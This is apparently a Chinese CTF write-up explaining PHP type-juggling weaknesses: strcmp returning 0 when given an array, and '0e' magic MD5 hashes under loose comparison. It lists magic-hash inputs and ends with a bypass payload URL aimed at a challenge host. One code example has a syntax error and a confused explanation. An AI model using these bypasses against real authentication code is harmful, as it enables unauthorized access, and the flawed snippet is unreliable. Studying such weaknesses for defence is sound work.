知识储备
strcmp()函数
int strcmp ( string $str1 , string $str2 )
说明
注意该比较区分大小写。
参数
str1
第一个字符串。
str2
第二个字符串。
返回值
strcmp二进制安全字符串比较,如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
漏洞:当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0 !!!!所以可以传入数组让其返回值为0。
这一个漏洞适用与5.3之前版本的php
if判断
<?php
$a=-1;
$b=1
if(!$a or !$b){
echo "true";
}
?>
无输出。即:!$a为假和$b为假。!0为真。
== 与 ===
php中有两种比较的符号 == 与 === ,=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较。
== 在进行比较的时候,会先将字符串类型转化成相同,再比较。这里举个例子,为什么下面的结果是true。
var_dump("0e123456"=="0e4456789"); //true
“0e123456”==”0e456789”相互比较的时候,会将0e这类字符串识别为科学技术法的数字,0的无论多少次方都是零,所以相等。
介绍一批md5开头是0e的字符串 上文提到过,0e在比较的时候会将其视作为科学计数法,所以无论0e后面是什么,0的多少次方还是0。
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
MD5加密
md5()函数无法对数组进行加密。即:加密结果都一样为空。
解题思路
打开题目查看源代码发现存在一个链接code.txt,进入code.txt。发现:
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>
绕过payload:http://118.89.219.210:49162/?v1=s1885207154a&v2=s1091221200a&v3[]=1(payload有很多种)
总结
php是门强大的语言,神奇无比。需要继续学习。
如果有误请指出。